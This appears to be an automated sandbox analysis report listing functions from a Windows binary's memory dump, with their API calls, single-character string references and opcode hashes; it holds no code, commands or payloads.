API ID: Heap$Process$Freelstrlen$AddressProc$Alloclstrcpy
String ID: $ $+$1$2$3$7$9$9$;$=$>$A$C$I$O$Q$T$[$]$a$c$q$q$u$x${
API String ID: 945123263-3064513995
Opcode ID: 4fb5922503626ce2275f8ee532d65ae02f7f906b10072ba7749e1abe89327bd5
Instruction ID: 20bf21cbbe401a130f1255bce27292c0213edc37a54f7b0f60b9c78bff1201b2
Opcode Fuzzy Hash: 4fb5922503626ce2275f8ee532d65ae02f7f906b10072ba7749e1abe89327bd5
Instruction Fuzzy Hash: 2B02C912A0C7C188F711D779E8043AEAFA1AB5678CF580169DB8917B9AEF7DD108C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6ED040, Relevance: 82.5, APIs: 13, Strings: 34, Instructions: 284memorylibrarystringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF70D6ED142
GetProcAddress.KERNEL32 ref: 00007FF70D6ED1F8
GetProcessHeap.KERNEL32 ref: 00007FF70D6ED22A
HeapAlloc.KERNEL32 ref: 00007FF70D6ED238

Strings

t, xrefs: 00007FF70D6ED36E
`, xrefs: 00007FF70D6ED364
n, xrefs: 00007FF70D6ED185
F, xrefs: 00007FF70D6ED32F
x, xrefs: 00007FF70D6ED341
}, xrefs: 00007FF70D6ED17B
|, xrefs: 00007FF70D6ED194
}, xrefs: 00007FF70D6ED346
g, xrefs: 00007FF70D6ED378
F, xrefs: 00007FF70D6ED15C
`, xrefs: 00007FF70D6ED373
x, xrefs: 00007FF70D6ED18A
`, xrefs: 00007FF70D6ED199
F, xrefs: 00007FF70D6ED164
], xrefs: 00007FF70D6ED18F
n, xrefs: 00007FF70D6ED350
t, xrefs: 00007FF70D6ED1A3
M, xrefs: 00007FF70D6ED180
F, xrefs: 00007FF70D6ED327
x, xrefs: 00007FF70D6ED176
g, xrefs: 00007FF70D6ED1AD
`, xrefs: 00007FF70D6ED19E
`, xrefs: 00007FF70D6ED369
m, xrefs: 00007FF70D6ED37D
~, xrefs: 00007FF70D6ED171
M, xrefs: 00007FF70D6ED34B
], xrefs: 00007FF70D6ED35A
~, xrefs: 00007FF70D6ED33C
m, xrefs: 00007FF70D6ED1B2
|, xrefs: 00007FF70D6ED35F
x, xrefs: 00007FF70D6ED355
`, xrefs: 00007FF70D6ED1A8
t, xrefs: 00007FF70D6ED16C
t, xrefs: 00007FF70D6ED337

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressAllocProcProcesslstrcpy
String ID: F$F$F$F$M$M$]$]$`$`$`$`$`$`$g$g$m$m$n$n$t$t$t$t$x$x$x$x$|$|$}$}$~$~
API String ID: 1703640390-1223005755
Opcode ID: 3894227a8967ee89b35b388c2bbc0797e33109837e8512280d5da1537558a37a
Instruction ID: b8edca3ce7c1a782f7bc1a6ba08532b2c5b209b41f0ccf9d202e45a011f93f80
Opcode Fuzzy Hash: 3894227a8967ee89b35b388c2bbc0797e33109837e8512280d5da1537558a37a
Instruction Fuzzy Hash: 1CD19226A1C7C189E710DB75E8003AEBBA1EF59788F541029EB8C97B99EF7DD004CB15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E1EF0, Relevance: 75.6, APIs: 19, Strings: 24, Instructions: 370stringmemorylibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E2002
GetProcAddress.KERNEL32 ref: 00007FF70D6E2198
lstrcmpW.KERNEL32 ref: 00007FF70D6E21C9
lstrlenW.KERNEL32 ref: 00007FF70D6E21DE
lstrlenW.KERNEL32 ref: 00007FF70D6E21EA
GetProcessHeap.KERNEL32 ref: 00007FF70D6E21FB
HeapAlloc.KERNEL32 ref: 00007FF70D6E2209
lstrcpyW.KERNEL32 ref: 00007FF70D6E2281
wsprintfW.USER32 ref: 00007FF70D6E2299
lstrlenW.KERNEL32 ref: 00007FF70D6E22AE
lstrlenW.KERNEL32 ref: 00007FF70D6E22BD
lstrlenW.KERNEL32 ref: 00007FF70D6E22C8
lstrlenW.KERNEL32 ref: 00007FF70D6E22D4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E22E5
HeapAlloc.KERNEL32 ref: 00007FF70D6E22F3
lstrcpyW.KERNEL32 ref: 00007FF70D6E23A1
wsprintfW.USER32 ref: 00007FF70D6E23C6
GetProcessHeap.KERNEL32 ref: 00007FF70D6E23FC
HeapFree.KERNEL32 ref: 00007FF70D6E240A

Strings

_, xrefs: 00007FF70D6E1F32
S, xrefs: 00007FF70D6E20EB
b, xrefs: 00007FF70D6E20E3
O, xrefs: 00007FF70D6E20F0
F, xrefs: 00007FF70D6E1F5B
|, xrefs: 00007FF70D6E2109
:, xrefs: 00007FF70D6E1F74
F, xrefs: 00007FF70D6E1F4C
F, xrefs: 00007FF70D6E1F83
_, xrefs: 00007FF70D6E1F42
s, xrefs: 00007FF70D6E1F56
s, xrefs: 00007FF70D6E1F6F
d, xrefs: 00007FF70D6E1F3A
S, xrefs: 00007FF70D6E2104
@, xrefs: 00007FF70D6E1F7E
p, xrefs: 00007FF70D6E1F6A
@, xrefs: 00007FF70D6E20FA
), xrefs: 00007FF70D6E20DB
q, xrefs: 00007FF70D6E1F60
5, xrefs: 00007FF70D6E20F5
a, xrefs: 00007FF70D6E1F79
m, xrefs: 00007FF70D6E1F47
a, xrefs: 00007FF70D6E1F65
:, xrefs: 00007FF70D6E1F51

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heaplstrlen$Process$AddressAllocProclstrcpywsprintf$Freelstrcmp
String ID: )$5$:$:$@$@$F$F$F$O$S$S$_$_$a$a$b$d$m$p$q$s$s$|
API String ID: 3133956148-3487463752
Opcode ID: 3e6843cb98c22642fe0533a6dbf007937b045cb1b60ef74c3e4bee46da4074f9
Instruction ID: e4a50d60e8debbdb021809192fc1250f02b42385d2d7d7ce6ab83b4f77b3bc11
Opcode Fuzzy Hash: 3e6843cb98c22642fe0533a6dbf007937b045cb1b60ef74c3e4bee46da4074f9
Instruction Fuzzy Hash: 53F1E126B1C78189E700DB79D8143AD6B72EB98B8CF845125EE4D9BB99EF3DD109C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E72E0, Relevance: 70.4, APIs: 21, Strings: 19, Instructions: 358memorystringlibraryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6E73CA
HeapFree.KERNEL32 ref: 00007FF70D6E73D8
GetProcAddress.KERNEL32 ref: 00007FF70D6E7473
GetProcAddress.KERNEL32 ref: 00007FF70D6E7513
GetProcessHeap.KERNEL32 ref: 00007FF70D6E751F

Part of subcall function 00007FF70D6F5700: GetProcAddress.KERNEL32 ref: 00007FF70D6F5775

lstrlenA.KERNEL32 ref: 00007FF70D6E75E3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E75F0
HeapAlloc.KERNEL32 ref: 00007FF70D6E75FE
lstrcpyA.KERNEL32 ref: 00007FF70D6E7614
lstrlenA.KERNEL32 ref: 00007FF70D6E76B4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E76C1
HeapAlloc.KERNEL32 ref: 00007FF70D6E76CF
lstrlenA.KERNEL32 ref: 00007FF70D6E7764
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7771
HeapAlloc.KERNEL32 ref: 00007FF70D6E777F
lstrcpyA.KERNEL32 ref: 00007FF70D6E7796
lstrlenA.KERNEL32 ref: 00007FF70D6E77D6
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7832
HeapFree.KERNEL32 ref: 00007FF70D6E7840
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7846
HeapFree.KERNEL32 ref: 00007FF70D6E7854

Strings

Y, xrefs: 00007FF70D6E7703
1, xrefs: 00007FF70D6E766E
7, xrefs: 00007FF70D6E7664
+, xrefs: 00007FF70D6E7669
|, xrefs: 00007FF70D6E7655
<, xrefs: 00007FF70D6E7650
P, xrefs: 00007FF70D6E76FE
G, xrefs: 00007FF70D6E76F4
C, xrefs: 00007FF70D6E76EC
b, xrefs: 00007FF70D6E765A
;, xrefs: 00007FF70D6E7634
/, xrefs: 00007FF70D6E763C
V, xrefs: 00007FF70D6E7678
Z, xrefs: 00007FF70D6E7708
], xrefs: 00007FF70D6E76F9
;, xrefs: 00007FF70D6E764B
,, xrefs: 00007FF70D6E7641
?, xrefs: 00007FF70D6E7646
u, xrefs: 00007FF70D6E7673

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$lstrlen$AddressAllocFreeProc$lstrcpy
String ID: +$,$/$1$7$;$;$<$?$C$G$P$V$Y$Z$]$b$u$|
API String ID: 261458475-1932992641
Opcode ID: 949e7ed6350cd567d9f904d0966117f4370acfa069ae0501bf4a1c2400fa2d67
Instruction ID: 655433837569742c843daa6237c3ba0916d6390a4ddcd8ad4f6c066b8de32caf
Opcode Fuzzy Hash: 949e7ed6350cd567d9f904d0966117f4370acfa069ae0501bf4a1c2400fa2d67
Instruction Fuzzy Hash: 9E028412E0C7C189F711D7B5E8043AE7BA2AB5A78CF440169DE8D17B8AEF7D9109C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E3A10, Relevance: 58.8, APIs: 13, Strings: 26, Instructions: 250memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6EF810: GetProcAddress.KERNEL32 ref: 00007FF70D6EF8C3
Part of subcall function 00007FF70D6EF810: lstrcpynW.KERNEL32 ref: 00007FF70D6EF909

wsprintfA.USER32 ref: 00007FF70D6E3C30
lstrcmpA.KERNEL32 ref: 00007FF70D6E3C6C
lstrlenA.KERNEL32 ref: 00007FF70D6E3CA3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3CB0
HeapAlloc.KERNEL32 ref: 00007FF70D6E3CBE
lstrcpyA.KERNEL32 ref: 00007FF70D6E3CD5
lstrcmpA.KERNEL32 ref: 00007FF70D6E3D3E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3D72
HeapFree.KERNEL32 ref: 00007FF70D6E3D80
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3DA5
HeapFree.KERNEL32 ref: 00007FF70D6E3DB3

Part of subcall function 00007FF70D6EEA40: GetProcAddress.KERNEL32 ref: 00007FF70D6EEB25

GetProcessHeap.KERNEL32 ref: 00007FF70D6E3DDB
HeapFree.KERNEL32 ref: 00007FF70D6E3DEB

Strings

q, xrefs: 00007FF70D6E3BB1
h, xrefs: 00007FF70D6E3BC5
{, xrefs: 00007FF70D6E3B7A
r, xrefs: 00007FF70D6E3B52
e, xrefs: 00007FF70D6E3B75
5, xrefs: 00007FF70D6E3B84
), xrefs: 00007FF70D6E3B70
c, xrefs: 00007FF70D6E3BA2
y, xrefs: 00007FF70D6E3B89
3, xrefs: 00007FF70D6E3B61
}, xrefs: 00007FF70D6E3B9D
g, xrefs: 00007FF70D6E3B8E
{, xrefs: 00007FF70D6E3B5C
=, xrefs: 00007FF70D6E3B93
=, xrefs: 00007FF70D6E3BAC
%, xrefs: 00007FF70D6E3B66
!, xrefs: 00007FF70D6E3BBB
$, xrefs: 00007FF70D6E3B6B
o, xrefs: 00007FF70D6E3BB6
9, xrefs: 00007FF70D6E3BA7
w, xrefs: 00007FF70D6E3B57
q, xrefs: 00007FF70D6E3B4D
l, xrefs: 00007FF70D6E3B48
1, xrefs: 00007FF70D6E3B98
!, xrefs: 00007FF70D6E3B7F
9, xrefs: 00007FF70D6E3BC0

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AddressProclstrcmp$Alloclstrcpylstrcpynlstrlenwsprintf
String ID: !$!$$$%$)$1$3$5$9$9$=$=$c$e$g$h$l$o$q$q$r$w$y${${$}
API String ID: 2581306793-3408093060
Opcode ID: d7535947f5cbd6cb7f012e0898c3b458a11db89fb332483b7b564ed9b70a308d
Instruction ID: b007d98165b568a0b469a0ad081b85af4097bd221a2294bfda6382a4e410e903
Opcode Fuzzy Hash: d7535947f5cbd6cb7f012e0898c3b458a11db89fb332483b7b564ed9b70a308d
Instruction Fuzzy Hash: BEC1D722A0C7C185E711DB69E8443AEBBA1FF99788F940135EA8D47799EF7DD048C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EED60, Relevance: 53.1, Strings: 42, Instructions: 637COMMON

Download Yara Rule

Strings

1, xrefs: 00007FF70D6EEF62
c, xrefs: 00007FF70D6EEFAD
2, xrefs: 00007FF70D6EEE54
c, xrefs: 00007FF70D6EEF0B
=, xrefs: 00007FF70D6EEE2C
g, xrefs: 00007FF70D6EEDC5
+, xrefs: 00007FF70D6EEE72
u, xrefs: 00007FF70D6EEDD6
P, xrefs: 00007FF70D6EEFB2
/, xrefs: 00007FF70D6EEE5E
4, xrefs: 00007FF70D6EEE4A
4, xrefs: 00007FF70D6EEF71
., xrefs: 00007FF70D6EEE63
), xrefs: 00007FF70D6EEEED
-, xrefs: 00007FF70D6EEEE8
;, xrefs: 00007FF70D6EEE36
-, xrefs: 00007FF70D6EEE68
;, xrefs: 00007FF70D6EEF10
x, xrefs: 00007FF70D6EEF67
=, xrefs: 00007FF70D6EEFFC
()+,-./1, xrefs: 00007FF70D6EEEB4
1, xrefs: 00007FF70D6EEE59
8, xrefs: 00007FF70D6EEE40
o, xrefs: 00007FF70D6EEDD1
W, xrefs: 00007FF70D6EEF99
[, xrefs: 00007FF70D6EEED9
{uokg, xrefs: 00007FF70D6EEE20
7, xrefs: 00007FF70D6EEE45
$, xrefs: 00007FF70D6EEF8F
L, xrefs: 00007FF70D6EEF7B
9, xrefs: 00007FF70D6EEE3B
,, xrefs: 00007FF70D6EEE6D
), xrefs: 00007FF70D6EEE77
B, xrefs: 00007FF70D6EEF76
<, xrefs: 00007FF70D6EEE31
3, xrefs: 00007FF70D6EEE4F
i, xrefs: 00007FF70D6EEF6C
{, xrefs: 00007FF70D6EEF06
`, xrefs: 00007FF70D6EEEFC
k, xrefs: 00007FF70D6EEDCC
[, xrefs: 00007FF70D6EEFA3
m, xrefs: 00007FF70D6EEF8A

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID:
String ID: $$()+,-./1$)$)$+$,$-$-$.$/$1$1$2$3$4$4$7$8$9$;$;$<$=$=$B$L$P$W$[$[$`$c$c$g$i$k$m$o$u$x${${uokg
API String ID: 0-2933044449
Opcode ID: 9b0b31c291bdbe32df200357d7181b5a043e0d36eaf40542598d80021aac997a
Instruction ID: 7a220ba70f52c3a74cfd5c30d036c686c186fa9fdda003ade88c5bde8da6ee4e
Opcode Fuzzy Hash: 9b0b31c291bdbe32df200357d7181b5a043e0d36eaf40542598d80021aac997a
Instruction Fuzzy Hash: EB82711250C7D08CE322CB7C94483ED7FA1976731CF484389E7E51AAEBD76A8246C766

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E85D0, Relevance: 40.4, APIs: 15, Strings: 8, Instructions: 180memoryCOMMON

Download Yara Rule

APIs

StrDupA.SHLWAPI ref: 00007FF70D6E85F9
StrTrimA.SHLWAPI ref: 00007FF70D6E8641
StrPBrkA.SHLWAPI ref: 00007FF70D6E867E
StrSpnA.SHLWAPI ref: 00007FF70D6E86FE
StrPBrkA.SHLWAPI ref: 00007FF70D6E870E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8726
HeapAlloc.KERNEL32 ref: 00007FF70D6E8734
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8742
HeapFree.KERNEL32 ref: 00007FF70D6E8750
GetProcessHeap.KERNEL32 ref: 00007FF70D6E87D7
HeapFree.KERNEL32 ref: 00007FF70D6E87E5
GetProcessHeap.KERNEL32 ref: 00007FF70D6E87FF
HeapFree.KERNEL32 ref: 00007FF70D6E880D
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8815
HeapFree.KERNEL32 ref: 00007FF70D6E8823

Strings

), xrefs: 00007FF70D6E8696
8, xrefs: 00007FF70D6E864D
`, xrefs: 00007FF70D6E8770
o, xrefs: 00007FF70D6E86C7
_, xrefs: 00007FF70D6E8605
~, xrefs: 00007FF70D6E85FF
P, xrefs: 00007FF70D6E86CB
A, xrefs: 00007FF70D6E8777

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AllocTrim
String ID: )$8$A$P$_$`$o$~
API String ID: 114204503-535030677
Opcode ID: b1d3b35d78120bd89462cbc354e96db0e088a325707a97a419a5793227ee611d
Instruction ID: 8177086a6261264f59a9e0231cc63f69151cab535f8681809248c52da55b8291
Opcode Fuzzy Hash: b1d3b35d78120bd89462cbc354e96db0e088a325707a97a419a5793227ee611d
Instruction Fuzzy Hash: C671D366E0C79289EB01DB76A8542BD7BA1BF4EB88F841574DE4923B45EF3C91498320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E7870, Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 319memorystringlibraryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D6E78EB
GetProcessHeap.KERNEL32 ref: 00007FF70D6E78F4
HeapAlloc.KERNEL32 ref: 00007FF70D6E7903
lstrcpyA.KERNEL32 ref: 00007FF70D6E7918
lstrlenA.KERNEL32 ref: 00007FF70D6E7924
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7964
HeapFree.KERNEL32 ref: 00007FF70D6E7972

Part of subcall function 00007FF70D6E3320: GetProcAddress.KERNEL32 ref: 00007FF70D6E33A5

GetProcessHeap.KERNEL32 ref: 00007FF70D6E7A26
HeapFree.KERNEL32 ref: 00007FF70D6E7A34
lstrlenA.KERNEL32 ref: 00007FF70D6E7A4F
GetProcAddress.KERNEL32 ref: 00007FF70D6E7AC3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7B08
HeapFree.KERNEL32 ref: 00007FF70D6E7B17

Strings

g, xrefs: 00007FF70D6E7B43

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Freelstrlen$AddressProc$Alloclstrcpy
String ID: g
API String ID: 945123263-30677878
Opcode ID: dbc7ad23dea9dbd0ac805c8bfac032450822051bbc115c5f4bf08182ebeca396
Instruction ID: 6cc0b786521e81f4ea57a3fca61973510824085f3c94e171f5b490b463c29c42
Opcode Fuzzy Hash: dbc7ad23dea9dbd0ac805c8bfac032450822051bbc115c5f4bf08182ebeca396
Instruction Fuzzy Hash: B3E19052F0C7C289F711D7B5A8142ED6BA2AF1A78CF844179DE4D17B8AEF7D91098320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EF810, Relevance: 28.8, APIs: 19, Instructions: 301memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EF8C3
lstrcpynW.KERNEL32 ref: 00007FF70D6EF909
GetProcAddress.KERNEL32 ref: 00007FF70D6EF995
GetProcessHeap.KERNEL32 ref: 00007FF70D6EF9C6
HeapAlloc.KERNEL32 ref: 00007FF70D6EF9D7
GetProcessHeap.KERNEL32 ref: 00007FF70D6EF9F6
HeapAlloc.KERNEL32 ref: 00007FF70D6EFA0A
GetProcessHeap.KERNEL32 ref: 00007FF70D6EFA18
HeapFree.KERNEL32 ref: 00007FF70D6EFA26

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocProc$Freelstrcpyn
String ID:
API String ID: 107109789-0
Opcode ID: eda2c696f96c1bc005a5297e89c8a88c29ba5fff1b9ead7201f64dff459e911e
Instruction ID: 39440e328a0aab9d340051b03bb5e8a32b9eb3e9fb39061ef90c6e6b77791c08
Opcode Fuzzy Hash: eda2c696f96c1bc005a5297e89c8a88c29ba5fff1b9ead7201f64dff459e911e
Instruction Fuzzy Hash: FEE11522E0C7D189F301CB79E8543AD7FA1AB5A78CF584168DE8947B95EF7E9106C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6BF0, Relevance: 13.7, APIs: 9, Instructions: 188memorylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6E3320: GetProcAddress.KERNEL32 ref: 00007FF70D6E33A5

GetProcessHeap.KERNEL32 ref: 00007FF70D6E6CDE
HeapFree.KERNEL32 ref: 00007FF70D6E6CEC
GetProcAddress.KERNEL32 ref: 00007FF70D6E6D63
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6D91
HeapFree.KERNEL32 ref: 00007FF70D6E6DA0

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressFreeProcProcess
String ID:
API String ID: 927253106-0
Opcode ID: 25e5922957ce55d3e82542cb0bb22bffc4e51f5fc5a63cc2c6df6870ee4c41a9
Instruction ID: ea1a17ab009deb22594574565a75a09673878076f135e15a6b772de91f08478f
Opcode Fuzzy Hash: 25e5922957ce55d3e82542cb0bb22bffc4e51f5fc5a63cc2c6df6870ee4c41a9
Instruction Fuzzy Hash: 84817312F0C7D189E710EBB5E8042ED6BA2AF597CCF844579EE4957B89EF3D91098320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EE6E0, Relevance: 11.5, APIs: 9, Instructions: 219memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6EE855
HeapAlloc.KERNEL32 ref: 00007FF70D6EE864
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE872
HeapFree.KERNEL32 ref: 00007FF70D6EE881
lstrlenA.KERNEL32 ref: 00007FF70D6EE92F
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE9DE
HeapFree.KERNEL32 ref: 00007FF70D6EE9EC
GetProcessHeap.KERNEL32 ref: 00007FF70D6EEA03
HeapFree.KERNEL32 ref: 00007FF70D6EEA11

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$Alloclstrlen
String ID:
API String ID: 790648272-0
Opcode ID: 74d7614d17d48a3acb52498beb9cf2c4d46cfe27c3339480d8edf3710aad13a6
Instruction ID: 0c447f47c9a3df7c08bdb1dda004c2bc404a117dfff780a3c7eaa80f9d133292
Opcode Fuzzy Hash: 74d7614d17d48a3acb52498beb9cf2c4d46cfe27c3339480d8edf3710aad13a6
Instruction Fuzzy Hash: 04B14012F1C7C1CDF711D7B9D4083AD7FA19B1A78CF484069DA8926A9ADBBE5109C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703F8C, Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF70D703FA8
RtlCaptureContext.NTDLL ref: 00007FF70D703FD5
RtlLookupFunctionEntry.NTDLL ref: 00007FF70D703FEF
RtlVirtualUnwind.NTDLL ref: 00007FF70D704030
IsDebuggerPresent.KERNEL32 ref: 00007FF70D704084
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70D7040A5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70D7040B0

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: f63bcc3044ffaf0afe8206d9e9f305961cac2b3961a7b6f304a6182fe5e30abe
Instruction ID: b0cb0f00fb1758fe4e1469f69516fa5acf1e646284fc8d173113532317643a79
Opcode Fuzzy Hash: f63bcc3044ffaf0afe8206d9e9f305961cac2b3961a7b6f304a6182fe5e30abe
Instruction Fuzzy Hash: C3313E76608B818AEB609F64EC403EDA764FB88748F845539DA4D97B94EF38D548C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70A28C, Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF70D70A305
RtlLookupFunctionEntry.NTDLL ref: 00007FF70D70A31D
RtlVirtualUnwind.NTDLL ref: 00007FF70D70A358
IsDebuggerPresent.KERNEL32 ref: 00007FF70D70A391
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70D70A39B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70D70A3A6

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 32db21b23be6f6ff336b786e61ffe1390b87f2e6593ffe6c6de423fdcb844663
Instruction ID: 13b0a643b0f481c2c10e3a66fc558efe7b6e12b3fc09ff2eb93764b4820219c9
Opcode Fuzzy Hash: 32db21b23be6f6ff336b786e61ffe1390b87f2e6593ffe6c6de423fdcb844663
Instruction Fuzzy Hash: AA315C36608B8186DB64DF25EC402AEB7A4FF89758F941235EA9D83B94EF38D145CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70BAA4, Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 00007FF70D70BB13
WriteFile.KERNEL32 ref: 00007FF70D70BDBD
WriteFile.KERNEL32 ref: 00007FF70D70BE0F
GetLastError.KERNEL32 ref: 00007FF70D70BF51
GetLastError.KERNEL32 ref: 00007FF70D70BF63

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: 06906a71be6ddf01e6f5f5c62c6872077bdd0a287c7c89c8bfaa2d8a549c96fe
Instruction ID: 7f1cebba10d8ed512f2cf2b457fe1aecd3fe1e4001b1bbd4bf0f0c02383c42cd
Opcode Fuzzy Hash: 06906a71be6ddf01e6f5f5c62c6872077bdd0a287c7c89c8bfaa2d8a549c96fe
Instruction Fuzzy Hash: FCD1C062A0CB8189E710DB64D8442ADBBB1FF48788F941136DF4E87B99EF38D216C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EDB90, Relevance: 6.2, APIs: 4, Instructions: 193memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EDC37
GetProcessHeap.KERNEL32 ref: 00007FF70D6EDC7A
HeapAlloc.KERNEL32 ref: 00007FF70D6EDC89
GetProcAddress.KERNEL32 ref: 00007FF70D6EDD67

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressHeapProc$AllocProcess
String ID:
API String ID: 3081849869-0
Opcode ID: c6acf4e69b22e3f6b41d6eef925f2d8755c22c298756fc95d1f0017d00c80961
Instruction ID: 8126e214627d13f67cac68b76a751a0c1042f46af027a18c9da7ca82dbb81ac7
Opcode Fuzzy Hash: c6acf4e69b22e3f6b41d6eef925f2d8755c22c298756fc95d1f0017d00c80961
Instruction Fuzzy Hash: 8B91D422B0C7C18DF701DB75D8043ED7BA2AB1A78CF488464DA891B789DF7D8209C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703A40, Relevance: 4.5, APIs: 3, Instructions: 33COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70D703A4B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70D703A54
GetCurrentProcess.KERNEL32 ref: 00007FF70D703A5A

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled$CurrentProcess
String ID:
API String ID: 1249254920-0
Opcode ID: f7ac2a097492069e4e3b90387897a5e2d7a72c72defc6981213c2824616659c4
Instruction ID: bfd368f7c87c8def82d4d083d66a3e6c9687b6303e9a9b06e2842c8941f92204
Opcode Fuzzy Hash: f7ac2a097492069e4e3b90387897a5e2d7a72c72defc6981213c2824616659c4
Instruction Fuzzy Hash: 2CF0D18BD0D78A4BE3425B661C100B86A60AFADB08B895176CB4443352FF2CE846C724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70CBF4, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70D70CC24

Part of subcall function 00007FF70D70A4C0: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF70D70A4C9
Part of subcall function 00007FF70D70A4C0: GetCurrentProcess.KERNEL32 ref: 00007FF70D70A4EE

Strings

*?, xrefs: 00007FF70D70CC4B

Memory Dump Source

